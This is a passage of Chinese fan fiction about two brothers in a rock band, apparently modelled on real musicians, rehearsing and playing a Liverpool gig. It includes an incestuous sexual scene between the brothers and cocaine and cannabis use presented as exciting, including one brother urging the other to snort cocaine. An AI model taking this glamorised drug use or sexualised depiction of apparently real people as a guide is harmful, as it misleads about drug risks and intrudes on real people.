“我和Rkid, 我们互相爱彼此,你们知道的,不用听我们骂什么要看我们对彼此做了什么。”利亚姆在他哥的吉他和弦伴奏下发声,抓着话筒与站在他左边的诺尔对视。
诺尔无措地转移视线,快速转身背对着利亚姆,在昏暗的灯光下摇晃着脑袋嘚瑟的勾起嘴角。利亚姆爱他,他知道并内心窃喜Rkid当众明说。
“呵呵。”头哥对兄弟俩的怪异甜蜜氛围尴尬微笑,“准备好了。”他已经把排练室放的备用吉他插上电。
诺尔回神收拾好情绪,他再次划出bloom乐队的标志性和弦,“呜嗯——”类似这样的声音。
利亚姆依旧盯着他家兄弟,他打算一直保持这样的姿势唱歌,将视线放在诺尔身上像挑衅也像调情。但这丝毫不影响他的排练,他对担任主唱的位置很负责用功,在贝斯加入后立刻找准音准准确歌唱,伸长脖子张大喉咙用尽全力吼叫,当然,唱得也是极好的。
“很棒……”诺尔像只猫一样,蹑手蹑脚地摸到利亚姆身后,轻声说道。与那躁动得仿佛要冲破屋顶的音乐相比,他的声音小得就像蚊子哼哼,小到他以为利亚姆会听不见。
但利亚姆却清晰听到,因为他时刻关注诺尔的嘴唇。他与诺尔对上视线,对着他哥露出一个完美的灿烂的勾人的笑容。
诺尔敏锐地察觉到了这一切,他在弹奏的间隙中,犹如闪电般迅速地对着 Rkid 的方向竖起中指,仿佛在向他挑衅:“漂亮男孩,快把你那如白痴般的笑容收起来吧!”然而,与此不友好的动作形成鲜明对比的是,他却像一个狡猾的狐狸一样,低头偷偷地抿唇微笑,暗自享受着利亚姆对他的关注与在意,心中不禁涌起一股愉悦的涟漪。
在排练的过程中,作为乐队管理者的诺尔顺带把明天的表演曲目定了下来。第一首《Columbia》是一定的,利亚姆把这首歌唱得太出彩了;第二首《Bring it down》,第三首……总共选了五首歌另加披头士的《I Am The Walrus》。
披头士这首是诺尔与利亚姆共同选择,利亚姆喜欢这首歌抽象的歌词而诺尔喜欢这首歌过分长的伴奏。《I Am The Walrus》这首歌时长对他们这群在台上演奏的混蛋们可太友好了,他们完全可以在台上把演出送的免费啤酒或者香槟给喝完。
现在是晚上十一点四十五分,诺尔叫停排练让每个人都回家睡个舒服觉。在告别头哥、Tony与Guigs后,他也打算回公寓休息。
“不回家?”
诺尔停住脚步转变方向,他来到利亚姆身边询问。利亚姆这个小子活像个忧郁青年,摆着随意的姿势蹲在路边抬头观赏路灯。虽然诺尔不想承认,但此刻的男孩身上有股十分脆弱异样不可言说的美感。
利亚姆没回,抬眸摆出深思严肃的样子与诺尔对视。
诺尔以为他会说些正经话,但并没有……
“你知道哪里卖大麻吗?”利亚姆口出惊人,“我他妈现在需要来点这东西……这对我有帮助。”
“Shit! 哥们。你就为了对我说这个?”
诺尔不相信地反问。
这特么是正常人脑回路螚问出来的问题吗?
“嘿,利亚姆。现在是晚上,我他妈才不会告知你去哪买大麻的信息。”
“诺尔我亲爱的哥哥,求你了,我真需要。”
诺尔的脖子被他搂住,男孩在他耳边撒娇,声音软软地像女孩。而诺尔最受不了他的黏糊,立刻软下态度露出笑容。
“得了,去我那吧。”诺尔将边上空余右手插兜,他的另一只手不知道什么时候搂到利亚姆的腰上。
左手不受控制蹭着利亚姆的腰侧,在他有意的行为下利亚姆热情迎合,将两人的肩膀贴得更加紧密,他们的脑袋都要靠在一块儿去了!
“我那还有抽剩下的大麻。”没有管利亚姆投来的惊讶视线,他勾起嘴角得意道,“你他妈可太幸运了,上周末凌晨我在街头闲逛突然有个毛头小子往我兜里塞了一斤大麻,这特么真让人难以置信!”
“Fuck me! 这特么真幸运,这种事绝不会发生在我身上。”
利亚姆抱怨他
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与此俱来糟糕的运气,并嫉妒地望向诺尔,“那我们还等什么?Rkid, 我们快去享受那些大麻吧!”
“当然可以。”
利亚姆迫不及待赶往India House,诺尔跟在他屁股身后走着,不时发出笑声笑话他的猴急样,利亚姆则抽空转身对他做出侮辱性手势。当诺尔赶上他时,利亚姆就立刻贴上来挽着他的手臂,并将指尖插入到他的指间。
对于男孩亲近的行为诺尔先是一愣,在反应过来后坦然接受,拇指压住利亚姆的食指牵着他往公寓楼走。
“你的女孩又不在?”利亚姆舒心地躺在电视机前的沙发上发问,并嘚瑟道,“那只有我们两个人了。”
“露易丝在纽约出差下周回来。”
说完,诺尔来到床头的垫子下摸出褐色塑料袋。他把东西扔给他家兄弟,毫不客气指使。
“会卷烟吗?给我卷上。”
“遵命,boss。”利亚姆调笑,抓着大麻对着诺尔举起手臂欢呼。
他高兴极了,快速把袋子里的大麻展平卷在纸里,当搞成香烟模样后,从口袋里摸出火点上。利亚姆迫不及待吸上一口,举着眼惊叹,“你他妈真棒!”
在诺尔坐到沙发上后,他急切想要分享,“你特么快吸上一口,这真的棒。”
“我知道。”
诺尔淡定道,稍后垂眸勾着下巴在利亚姆手里拿的烟吸上一口。
他无语道。
“我当然知道这东西很棒,我都把这一袋干一半了,你个沙比。”
利亚姆被逗笑,依靠他的肩头吸烟。男孩眉毛享受的舒展开,嘴角愉悦的勾起,在吸烟时从鼻腔发出若有若无的气声。
诺尔离他很近,听他的哼声就像是在撒娇一般,但他没有管,这样挺好,因为他们难道亲近到一块儿。
“靠近些。”
诺尔用眼神示意利亚姆将手里的烟靠近他嘴边,以便他不直起腰就能吸上烟,且自己的脑袋不用偏移一分。他像个boss一样等待下属的服务,利亚姆是个乖乖听话的乖孩子,他按照诺尔的吩咐做了,诺尔乐于享受他体贴的服务。
“Good boy——”诺尔呼出烟雾,享受地眯起眼,并条件反射性说出口。
“我不是……”
利亚姆被大麻搞得微醺了,说出的话很软听不出一点气势。诺尔打趣他,“你是女孩吗?你个娇气的坏鸟!”
“我不是……”利亚姆张开嘴大笑,对着他嚣张道,“我就算是又怎么样,不管怎么样你都痴迷着我,不是嘛?”
他听起来有恃无恐,此刻的隐藏在昏暗灯光下他看起来很色气,像个勾人魂魄的妖精。
男孩嘴唇靠近烟嘴对着诺尔的方向微张。
“靠!”
诺尔有被勾引到,垂头望着不争气的下半身骂。
“操蛋!”他夺过利亚姆指间的卷烟拿到自己嘴里抽上几口,在脑袋不清楚时刻冲动地抱着利亚姆的脑袋并压着他躺到沙发上亲吻。
利亚姆被他的热吻惊住,颤抖睫毛半睁着眼回应他的舌头。这太突然了没有一点心理准备,但没关系,他愿意迁就压在他身上之人的一切行为。
一吻毕,诺尔歪头用鼻尖温情地蹭着利亚姆高挺的鼻头,在彼此的呼吸声中两人彼此对视。
“继续?”利亚姆硬声道,但有些不确定,眼神心虚地瞥向别的地方。
“我试试看……”另一人亲吻他的脖子不确定地回。双方的指间都在撩火,吻过彼次颤动的喉结。
诺尔将吻往男孩的下方移,在他的经验老道攻势下男孩很快缴械投降。在结束后他亲吻利亚姆冒汗的额头,男孩在他怀里发出若隐若无的低哼。
诺尔的口技很不错,他的牙齿一点也没有伤害到利亚姆一丝一毫。
笃定开口,“我没有你说的那么差劲,不是吗?我做的棒极了。”
40. 利物浦演出3
利亚姆还沉浸在余韵中。
“what?”在反应过来后,他这样说,“当然,你做得很好。”
“需要我帮你吗?”他从诺尔怀里抬起脑袋问,眼里泛着迷离的泪光。
“不行,今晚最好不要这样干。”
诺尔把下巴搁置在男孩毛茸茸的脑袋上,轻笑道。
“忘记我们明天有演出了吗?!我相信你明天会怪罪我让你无法唱歌,所以还是不要了,我可以自行解决。”
说完他半坐打算抬起屁股去浴室,但利亚姆的胳膊阻拦他的动作。
“行了,我们没必要为了这件事吵起来。”诺尔硬声道,他把视线放在男孩漂亮的蓝色眼睛上。
“我特么才不会怪罪你……”利亚姆也半坐与他对视,“我很乐意,我愿意这样做。”
注意到诺尔不赞同的眼神,继续道,“我特么是我们乐队的主唱,我当然知道如何保护我的喉咙!”
“真的知道?”诺尔歪头调笑,利亚姆这小子天天抽烟喝酒,他的嗓子每天都在被劣质酒精浸泡。
“操蛋!当然知道!”
在注意到诺尔调侃的嘴角后,他的气势低了下去,将脑袋温顺靠在诺尔胸口。
“好吧……我不知道,我会闭上嘴巴乖乖听话。”
诺尔在他脑袋上摸了几把。虽然身体没有得到愉悦,但他的心情意外的不错,利亚姆这小子今晚过分乖巧漂亮,对这样的利亚姆他真的爱死了。
“得勒,你想要在沙发上睡或者回家睡都可以。我去浴室解决了,你自己做决定。”他拍着男孩的肩头轻言,稍后抬起脚走往浴室。
“等等。”利亚姆再次拦住他。
“啵…”
利亚姆站起来在他脸上亲了一口,很具有家人之间的甜蜜告别。
“我想,我还是回家睡觉,毕竟我不想让妈妈为我担心。明天见,Rkid. ”
利亚姆潇洒一笑,低着脑袋寻找沙发上的外套。当穿上后,立刻离开了公寓。
“这个小瘪三!”
对于利亚姆离开的速度感到惊讶,忽视心底的失望,他脱光衣服走进浴室解决自身的生理需求。
明天去利物浦演出,对于他们不知名的乐队来说是极大的幸事,他不会想利亚姆搞砸它。
嗯……其实今晚他能与利亚姆胡搞,但他没有,毕竟他要考虑明天的演出质量,他可不认为哑着嗓子的利亚姆会唱出精彩的音乐。所以他在做明智的拒绝,在浴室的诺尔边do hand job边想。
解决完,诺尔擦干身体躺在床上,顺带关上灯睡觉。
明天很值得期待,不是吗?Fooking 利物浦演出!
40分钟路程,全程55公里。
第二天早上八点一刻。
“出发!”
头哥的脑袋伸向窗外喊道。
一声吼完所有成员坐上租借的巡演大巴。
头哥的驾驶技术很棒,所以理所当然他驾驶巡演大巴并带着所有成员以及设备出发去利物浦。
“我们要表演几个晚上?”副驾的Tony喊道。
“我不知道。我们就是走上台卖弄技术,然后走下台去喝酒,就是这样。”
难得没坐到副驾上的利亚姆这样说,很随意的态度。他躺在后座,占掉大面积位置,这让与他坐在一起的诺尔瞧起来有些憋屈。
“挪一下,你的脚都要翘到窗上去了。”
诺尔抽着烟不爽道。利亚姆的长腿都穿过整个后座侵占到他的空间,他的膝盖甚至能与利亚姆的腿靠上。这太过分了,不是吗?如果利亚姆不把他那该死的腿收回去,他必须采取点行动。
“得了,小气鬼。”
利亚姆将他的腿收回抱到胸前。
“这不是我的问题,我想说的是你那个该死的腿都要压到我了,它应该老实点待在应该在的位置上,不是吗?”
诺尔拍着牛仔裤上的灰尘淡淡道。他没有表现得很生气或者嫌弃的意思,他只是想让利亚姆的腿收回以及他不打算与利亚姆争吵。
“哎哎哎!”利亚姆对他很不满地甩着手指。
“嗯?继续。”
他倒想知道利亚姆能说出什么嘘声。
“没什么……”利亚姆将抱在胸前的膝盖放下,对着诺尔伸出手,“把你该死的烟给我。”
诺尔满意地撇了他一眼,快速抽了一口烟后才把指间的香烟递给他。
“你留着吧。”诺尔轻笑,“反正没有剩多少了。”
在他说话过程中,利亚姆已经把香烟抽得只剩下烟蒂,他咬着烟嘴与诺尔对视。
“妈妈昨天问起你。”利亚姆把烟蒂从车窗扔下,回头继续望着诺尔。
“问了什么?”
“就是一些小事儿,我替你搪塞过去了。”利亚姆低头躲避诺尔炙热的视线,他摸着衣角继续,“其实也没什么大事,就问我们兄弟在乐队里相处得怎么样,有没有惹事……”
“我特么才没有惹事!”诺尔立刻反驳,他拍着利亚姆的肩膀调笑道,“惹事的是你!你应该把你干出的事告诉妈妈,让她知道谁才是惹事精。”毕竟他可不像利亚姆天天泡吧喝得烂醉,把自己搞得人不人鬼不鬼的烂样,抱歉妈妈有一位这样的儿子。
“我是这样,妈妈知道。你知道我什么意思,我昨天从你那离开后我约了个小妞……”利亚姆声音越来越低,他在心虚,“操蛋,
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这很的很糟糕,我们在家搞在一起被妈妈发现了。”
“不是赛里尔?”诺尔以为他说的小妞是他的女友。
“那特么太糟糕了!我的天……”
“绝不是,塞里尔她昨天没有与我在一起。”利亚姆双手合在一起一脸苦恼,“我不是胡搞的人,我昨天就是脑子坏掉了约上一位陌生女孩回家,这让我吸取教训,永远不要带陌生人回家睡觉!”
“活该。”诺尔插嘴臭骂。
“得了哥们,妈妈因此昨天晚上骂了我一个小时……我脑袋都要大了,那个该死的陌生女孩扇了我一巴掌回家了,操蛋!”
利亚姆嘟囔着,他把刘海往上撸靠近诺尔,脑门上印着清晰的指甲划痕,不巧正是五道,看起来很滑稽。
诺尔憋笑,“这特么怎么会出现在脑门上,我以为她的巴掌会出现在你的脸上。”
“她很高,比你我都高。就这样,我很幸运她扇在我脑门上,没有让我的脸毁容。”利亚姆把发型整理好,摆出祈祷的手势,“谢谢上帝,真诚地感谢。”
“Hoo——”诺尔发出欢呼声,他乐于见到利亚姆吃瘪的样子,“我们的妈妈真可怜,她肯定无时无刻不在担忧你。”
他笑着靠近,把利亚姆的肩膀抱住,“振作起来,这不算什么,妈妈依旧会爱你的,我们都会爱你的,没有人会责怪你。”
他调转话锋,“除非你管好自己的下半身……你这个风流的混蛋!”
“我不是……”利亚姆抬眸反对。
“是的,你是。你可以少搞些女孩,把你的心思放在音乐上。”他劝告这位年轻的主唱把精力放到正经地方,为了诺尔自己也为了他们所在的乐队。
在利亚姆即将开口时,他止住。
“睡一会儿吧,我相信你昨晚肯定没睡好。”
他腾出腿把利亚姆的脑袋搁置在上面,贴心问,“会不会有些硌脑袋?”
利亚姆在他腿上蹭了蹭,勾着下巴抬眸与他对望,“有点,把你的外套拿过来。”
这位得寸进尺的男孩占用他的外套并指挥他把衣服叠好放在腿上给他枕。
“你个矫情的混蛋。”他戳着利亚姆的耳廓骂道。这小子是舒服了,他得忍受腿上的重力以及颠簸的后座。
利亚姆颤抖着睫毛,他没有睁开眼但也能感受到诺尔满含怨气的视线。
“只是半小时,让我睡会儿。”他动了动肩膀,尽量让自己睡得舒适,“把手给我好吗?我需要保证你不会把我抛下。”
“软蛋。”诺尔嫌弃道,利亚姆是个女孩吗?但他下一秒还是把手放到利亚姆手心。
利亚姆牵住他的左手,摸着他无名指上的戒指闭上眼睛酝酿睡意。
41. 利物浦演出4
“诺尔,your kid(利亚姆)睡了吗?”坐在第二排的Guigs问。
大巴除去后备箱和驾驶位,还有二排座位,Guigs这个幸运的小子一个人占了一排空间,这特么真让人羡慕。
从发呆中回神,诺尔低头观望利亚姆片刻道。
“是的,他睡着了。”
“需要我们把音乐放小点不?”有人贴心问。
诺尔寻找声音来源地,是贴心的鼓手,Tony。
“哈哈,我相信音乐的音量不会影响利亚姆丝毫睡眠,这小子现在睡得像猪一样!”
诺尔好笑道,他在朋友的视线下捏住利亚姆的鼻子。
“你们瞧,他还在打呼呢,这个混蛋舒服的很。”
“别搞他了,再让他睡吧。”Tony出声,他翻出地图计算路程,“差不多二十分钟能到。”
“那真棒……”诺尔望着左手的戒指出神。利亚姆的手指搭在他的戒指上,男孩的手指不是很细长但与他的手指比较也算得上好看。
“我特么受够挤在车里了。”他摸着利亚姆的指节说道,听起来有些疲惫,“等我们出名后,我必须雇一辆豪华巡演大巴。”
说完他笑出声,他对乐队的未来给予无限的憧憬与希望。
“相信我,诺尔。”
头哥偏头对着后方喊,“我们会成功的,你知道我什么意思,我们是世界上最伟大的乐队。”
Bonehead的迷之自信让车内的男孩们笑成一团,他们可没有嘲笑的意思,相反他们与头哥的想法一致。
“哥们,听我的。”诺尔对着前方挥手,他试图吸引所有人的注意。在所有人视线放在他身上后,他嚣张道。
“忘掉那些音乐伟人吧,虽然他们很厉害,但我还是想说一句,fuck them all!”
“Yeah…我非常同意!”
Tony与Guigs举起手赞同。
还在开车的头哥抽不出身,所以他回以一声不吭的吼叫。
“哦耶!”
车内的男孩们尽情张狂,而作为乐队boss的诺尔,他绝对是最自负的那位。他相信,不到二年,他们的乐队会像披头士一样出名,为全世界所知。
二十二分钟后,他们来到利物浦著名Heebie Jay 酒吧的后场。Heebie Jay 每晚提供音乐现场演出,营业至深夜,有大型户外庭院。
头哥在酒吧老板的指引下把巡演大巴停到后场的草地上,当他们下车去酒吧里喝一圈后,利亚姆才堪堪从睡梦中醒来。
“Fuck it! 这群混蛋抛下我!”利亚姆走下车寻找酒吧入口。
“那群男孩在哪?”他随手抓住一位拿着酒盘的员工问。
“谁?”男服务员疑惑。
“我相信你见过那群拽上天的男孩们。”利亚姆虚虚抱着手臂,对着空气做出弹吉他的姿势。
“哦!你说得是那群怪胎!”
这位品味低下的员工这样说道。
他以一种蔑视的眼神盯着利亚姆,“小子,你的怪胎兄弟们在那道门的里面。”
说完,他倒是很聪明,立刻端着酒盘从走廊遁走。
“蠢货!我们是有史以来最棒的乐队!”
利亚姆指着这位男性员工的背影喊道,在以下的几十秒内他的嘴里都在骂那个煞笔员工玩意儿。
他骂骂咧咧地开门走进酒吧内部,这道门像是打开了魔幻潘多拉魔盒,把所有躁动的热曲、舞动的身姿、华丽的灯光以及火辣的小妞展露在眼前。
“哇!”利亚姆从没见过这般大场面,不禁张大嘴巴惊叹,他站在台阶上观望整个酒吧局面。
他的眼神很犀利,把视线放在昏暗角落里的年轻男孩们身上,他们正在吸可卡(drugs的一种),而这群磕嗨的男孩们正是诺尔一伙人。
利亚姆不动声色来到他们身边,他低声吼了一声。
“Buggers!(同性恋们/鸡女干者)”
“Fuck you !利亚姆!”
最靠近利亚姆的Tony被他吓软了腿,扶着Guigs的肩膀大笑。
“诺尔,你家兄弟真的操蛋极了!”Guigs指着利亚姆对诺尔哭诉。
诺尔此刻与头哥窝在墙边吸可卡,他们也被利亚姆这个混蛋吓了一跳。
“利亚姆,过来这边。”
诺尔对着前方招手,在利亚姆过来后他的胳膊搭在男孩的肩头。
“他就是个小混蛋!这就是Rkid,他是个惹人恨的漂亮的小家伙。”
他捏着利亚姆的脸蛋继续道,“快看这个男孩,他漂亮得像个女孩!”
“漂亮的人在这儿!”
利亚姆没有反驳,相反他嘚瑟的对着他家兄弟龇牙,拽拽道,“ME ! ”
诺尔最受不了他“老子天下第一”的拽样,一把掌拍在利亚姆后脑勺。
“得了老弟,我觉得房间里任何一位女性都比你漂亮!”
当然,诺尔在撒谎,他只是想挖苦利亚姆,这不是真的,毕竟利亚姆漂亮得要命。
“狗屎!”
利亚姆转头望向他家兄弟。
“若我是个真正的女性,我会巨大漂亮,相信我!”
诺尔与他对视,语塞。
“是……但你并不是女性。”
“我知道,这很可惜不是么?”利亚姆摊开手,他对他生来不是女孩而感到无奈。
“呃……是的。”
诺尔想着利亚姆成为女孩的样子,那“她”绝对会迷死房间内的所有人,包括诺尔自己,他会干任意事只为了得到这位女孩。但这不可能发生,毕竟利亚姆不可改变性别,他是个货真价实的男孩,上面臆想的事绝不会发生。
“来吧,吸上一口。”诺尔展示手背上的可卡,对着利亚姆道。
注意到利亚姆迟疑的动作,他压着男孩的脑袋靠近,e on, boy. 这会让你爽翻天。”
“Fuck! ”利亚姆皱着鼻子靠近,狠狠地吸气。这玩意儿比大麻厉害不止百倍,不到十秒利亚姆就能感到整个脑袋即将升天,身体飘飘然,脚不像站在地板上而像站在棉花上……他爽翻了但这只持续了几分钟。
“这……真的很厉害!Fuck me! ”他软着身子靠着诺尔回味,并摸着脸窘迫道。
“再来点?”诺尔起哄道,他迫不及待想要拉着利亚姆沉沦drugs之中。
“当然!多多益善,不是么?今晚绝对很劲爆!”利亚姆露出疯癫的笑容,弯着腰再次对着诺尔手背上的可卡狠狠吸入。
他又露出那种陷入迷幻的失真神情,举起手像个神棍一般作法。但他绝对是位漂亮的神棍。
“你现在看到的是嗨大的利亚姆,一个神经质!”
诺尔骂出声。
这个自负的男孩,也就是诺尔,却不知他的样子更糟糕。他软着身子倚在墙上,晃着脑袋傻笑,头顶上的灯光打在脸上,其脸上迷离的神色一览无遗。
他这副嗨上天的模样,利亚姆有目共睹。
“你更加high!”对着兄弟反击。
诺尔点着下巴,回以轻蔑的轻笑。他尝试抱住利亚姆的脑袋,迎着男孩惊讶的目光亲吻他的脸颊。
利亚姆试图隐藏他的害羞,歪着脑袋不与诺尔对上视线。男孩摸着脖子一副无措样,眼神不淡定的乱飘。
“bonehead在哪?”他转移话题。
刚刚还窝在墙角的头哥已经不见身影,像是听到男孩们的呼叫,他快速回到朋友中,带来不知道从哪搞来的一扎德国黑啤。
诺尔他们一伙人一看见酒精就像饿狼遇上了猎物移不开视线,他们立刻采取行动,把这十几瓶啤酒划分到每个人的肚子里。
只有酒精,不行。只有drugs,不行。只搞一种太逊了。这群酷男孩们奇思妙想,他们把drugs混入酒精中让双倍刺激入肚。
就如刚刚利亚姆所说的那样,今晚真很劲爆!他们自踏入这个酒吧,嘴里的酒水和drugs就没有停歇过,每个人都是磕嗨得飞起,把酒瓶扔得到处都是,把啤酒飞沫甩到周围酒客的衣服上。
利亚姆更甚,他的疯狂行为得到了“回报”,他在酒吧里乱窜只为了躲避壮汉的拳头。
“利亚姆在逃什么?”诺尔嘲笑。
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>“他在那个男人的鞋上吐痰!”
“真恶心,他得到了教训。”
——
这种状况一直持续晚上六点,上台演出的前两小时,他们在酒吧老板的责令下回到酒店休息。
“我请你们过来不是让你们来这里喝酒的,如果你们这些坏男孩们不把自己收拾好再上台,我不会支付你们任何费用。现在,你们需要为两小时后的演出做准备,我不会想在台上看见五个小丑在那表演。我需要你们立刻行动,把自己照顾好拿出精力应付演出!”
在酒吧老板的监督下,他们只能像个鹌鹑一样听从安排。
“你们中有一对兄弟吧?拿着这张房卡,这是你们的房间。”
诺尔从酒吧老板手里接过房卡,他识趣的没有反抗,老实地领着利亚姆进入房间。
他以为这个房间有着两张床,但打开门后,他对着只有一张大床房的房间发起呆。
“这特么是大床房……”他放下包,迟疑地坐到床上
“这不是很好吗?”
利亚姆跳上床欢呼,“大床更舒适,我喜欢这个房间。”
在体会到床的柔软度后,他在诺尔身边躺下,把被角盖在脑袋上。
被子里传来他嗡嗡的说话声。
“我需要睡会儿,你会叫醒我的是吗?”
“当然老弟,睡吧。”诺尔笃定道。
在房间陷入一片安静后,他起身缓慢踱步到行李包前,从里面翻出一本横线本。这是他几年来汇总创作的歌曲,诺尔相信它会给他带来财富与名气,凭借他所写的歌,他们乐队会出名,这是诺尔以及所有成员一直坚持搞乐队的动力。
坐到床边随意翻着本子,拿着笔在上面不时涂改。
“Is that right? ”
他时刻在脑子里复刻利亚姆唱这首歌的模样并询问自己。这句词适合在混音上吗,需要找个和声搭配吗。
Fuck it,不管了,利亚姆唱的很棒,他不需要那些多余的声音来配合。仅仅是简单地杵在话筒架旁,利亚姆就相当能够吸引观众眼球,把所有人的关注紧紧抓到自己的手里,操控着所有人的情绪。
诺尔动了动僵硬的双腿,撑起身子把本子放回原处。
利亚姆这小子睡得很香,脑袋上盖着的被角已经滑落,露出半张脸。杂乱的浅发有些炸毛,显得男孩更像一只卷毛puppy。
诺尔轻轻躺在男孩的身侧,在尽量不打扰到男孩的睡眠的情况下,拉过被子盖在两人的身上。
他往床头座机上瞄了一眼,现在是下午六点五十三分,还能睡上半小时。他将利亚姆翘起的发尾抚平,依偎着温暖的男孩闭上眼睛休息。
他没想过自己真能够入睡,毕竟他的大脑因为酒精和drugs仍然保持在兴奋状态,闭上眼睛的他甚至能清晰听到心脏快速跳动的声音。
这绝不是幻觉,他的身体拥有更多的多巴胺,大脑不受控制的运行。他尽量催眠大脑让其停止工作陷入睡眠,但作用微乎甚微。所以可怜的诺尔仅仅是闭上眼睛,让自己陷入黑暗。
但在一片寂静中他听着利亚姆的呼吸声,不知道什么时候睡了过去。这倒是很神奇……
“诺尔·汉纳姆在吗?”门被敲响。
(之前文章说过,诺尔的睡眠很浅任何动静都能让他从睡眠中惊醒。)
诺尔骂了一声,抱着昏沉沉的脑袋去开门。
“女士,找我什么事?”
他望向门口三十岁左右的女性。
“我是负责你们乐队演出的助理,你可以叫我艾莉。”她对着诺尔伸出右手。
诺尔礼节性握住,几秒后放开。
“叫我诺尔就好。”
“二十分钟后你们将会上台演出……”
艾莉对着诺尔告知,督促这位吉他手赶紧集合成员。
诺尔让她在门口等待,他转身。床上的利亚姆已经不见身影,想必是他与艾莉聊话期间利亚姆就醒了。
卫生间有些动静,诺尔来到卫生间门口。在意料之中,利亚姆对着镜子整理发型。臭美的男孩,心想。
“好了吗?演出即将开始,我们需要找到其他成员。”
42. 利物浦演出5
“当然。”利亚姆懒洋洋道。他停止扑腾发型,摸着鬓角跟着诺尔走出门。
“你好,很高兴认识你。”这位年轻主唱对着门口等待的艾莉礼貌问候。他靠近艾莉盯着她的衣服。
“衣服很漂亮,很适合你。”
男孩很真诚,语气高扬,他在由衷赞美。艾莉摸着头发害羞浅笑,她盯着眼前男孩勾起的嘴角,轻言。
“拉夫劳伦的老款Polo裙,谢谢。”男孩很有魅力,艾莉期待与他继续交谈,但当她想要开口时,被诺尔打断了。
“利亚姆!”
诺尔在走廊召唤男孩,嘴角抿成一道直线,浑身阴郁的情绪蓄势待发。
利亚姆识趣的收回放在艾莉身上的视线,抬起脚跟着他家兄弟。
让一位女性朋友楞在原地等待这太不礼貌了,所幸诺尔有所作为。
“嘿艾莉,不如你先回到演出更衣室,我会带着所有成员去那找你。”他在等待利亚姆的空隙中对着艾莉思量。
“Yeah ,当然可以。”艾莉提高音量,她讪笑道。
“我们的时间不多了,请在十分钟内回到演出场地……”
身后的艾莉在不放心地叮嘱,但兄弟俩谁也没放在心上。当集合所有成员后,他们总会走上台表演,这只是时间长短问题。
现在,诺尔只希望头哥他们从high中缓过来,他们每个人都应该把那些躁动的心思安定下来准备今晚的演出,这关乎他们乐队的名誉。
他们来到头哥他们的房间,出乎诺尔意料的是,他们三人看起来很棒,没有想象中因酒精带来的嗜睡,他们并没有在床上瘫软成一团,而是精神抖擞的在房间内打牌。
“把扑克收拾好,到了我们表演的时候了。”诺尔站在门口正色道。
利亚姆不知道什么时候把脑袋搁到他的肩头,男孩削尖的下巴戳得有些疼,诺尔偏身抖着肩让他的下巴滑落。
这让利亚姆有些不开心。
“嘿,别那么小气。”
诺尔摊了摊手展示他的无奈。
“Fuck off,离我远点。”不客气回怼利亚姆。
房间内的头哥、Guigs以及Tony将地板上散落的扑克整理好,并穿上各自的外套出门。
“走吧,呆在那干嘛呢。”
头哥对着门口“打情骂俏”的兄弟两道。诺尔与利亚姆看起来不像一对兄弟,他们更像是一对男女朋友,头哥把这个好笑的想法压下。诺尔与利亚姆在一起?这绝对不可能,他们可是血亲。
利亚姆依然对着诺尔挑衅,但诺尔现在的心情并不是很好。他扼制利亚姆捣乱的手臂,并推着他往酒店大堂走。
“现在你需要拿出你的摇滚态度,做个该死的抓人眼球的摇滚明星!”他对着闹脾气的利亚姆厉色道。
“我他妈就是个摇滚明星!”利亚姆颦眉,露出他夸张的笑容。这下,他倒是有摇滚明星该有的模样,皱起的眉毛被展平,大笑的动作让圆润的眼睛变得狭长,他的孩子气被削弱,硬朗的气势被突出。
“得了,今晚给我做好你的工作。”诺尔硬声道。
今晚他的压力很大,他是乐队的boss与接管者或者发言人。他不像利亚姆那般轻松,利亚姆只需要站在台前好好唱他的歌,而他呢需要与演出负责人对接排曲歌单,谈妥演出费用并与后场相关人员搞好关系让他们的演出现场能够更加出彩。
这些太耗精力了,诺尔不打算让演出草草了事,所以他在接下来的二十分钟内仔细的安排一切事宜。
所幸他的付出得到回报,舞台的灯光很棒,音响也很得力把利亚姆的歌唱灌满整个露天庭院。
这场演出绝对能称得上精彩绝伦。利亚姆穿着从诺尔包里搜刮过来的漂亮冲锋衣,掖着脖子吼出Columbia的开曲,“There we were now here we are! ”
This is fooking mad ! 利亚姆的嗓音太适合玩摇滚,他就是名副其实的摇滚明星。台下的几百名观众在男孩开嗓后,他们停下脚步驻足观望台上的主唱,为这位有着独特清亮嗓音的男孩打拍子。
人群中有人吹起响亮的口哨,甚至有人因为激动难耐把他们的丝巾包包扔到台上为这支年轻乐队打气,摇滚气氛完全被这群疯狂的观众炒起来了。
“这是最后一首歌,来自披头士的《I Am The Walrus》,CHEERS ! ”
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利亚姆抓着话筒高举左手,嘴唇轻轻贴着话筒告知。他就像是对着一位情人说话,男孩嗓音如同他漂亮的脸蛋一样是如此令人着迷的甜美。
《I Am The Walrus》过长的乐器伴奏让等不及要下台的利亚姆厌烦,他抛弃还在台上演奏的兄弟和三位伙伴走下台,跟着早已在舞台旁边等待的艾莉来到后场的助兴派对中。
“你要跟着我一起进去吗?”
艾莉明显对他有兴趣而这位三十多的女性依然很漂亮,利亚姆对于美女总是很宽容,他或许能够约上艾莉来场sex激情。
“抱歉……”艾莉将额前的碎发别到耳后,回以歉意一笑,“我的工作结束了,我需要回家照顾我二岁的女儿。”
她举起未带任何婚戒的右手展示给利亚姆看,“你知道的,我离婚了,你很有魅力也很帅气……但今晚最重要的是我需要做好一位母亲。”
“你是位好母亲,去做你该做的,艾莉。”
利亚姆收回他荡漾的心思并识趣地将贴着艾莉的胸口挪远。
“晚安。”他露出浅笑,牵起艾莉的右手在她手背上轻吻。
“记住,你很漂亮,你是位很有魅力的女性。”
利亚姆毫不吝啬对女性的赞美,在看到艾莉露出开心的笑容后,他果断转身打开门进入助兴派对。
他是喜欢艾莉这种类型的女性,但他不偏执追求一只鸟。他风流中又带着理性,这让他的风流债从来没有停止过,女孩喜欢这样的他,而男孩们想成为他。
二分钟后,利亚姆的肩膀被拥抱住,不用说肯定是诺尔。
“结束了?”
“没有,他们三个还在台上演奏,再有二分钟结束……”诺尔漫不经心道,他有意的贴着男孩在他耳边低语。
“给我来点酒,利亚姆。”
利亚姆照做,他把手里的酒瓶怼到诺尔的嘴边。由于力气过大,酒瓶不在设想中与诺尔的牙齿亲密接触。
“Ouch! 轻点……please。”诺尔把着利亚姆的手腕抱怨,不爽地夺过他手里的酒瓶,在男孩的注视中一次性喝了大半。
“酷毙了,不愧是我家兄弟。”
身边的利亚姆兴奋的抱着诺尔欢呼。
43. 脱衣舞娘
诺尔加入狂欢之夜,跟在利亚姆身后一起胡搞一起胡喝。
几分钟后,头哥他们三人回来了,加入到喝酒行列,他们吸着不知道从哪搞来的drugs和大麻,沉沦到无上的快感中。
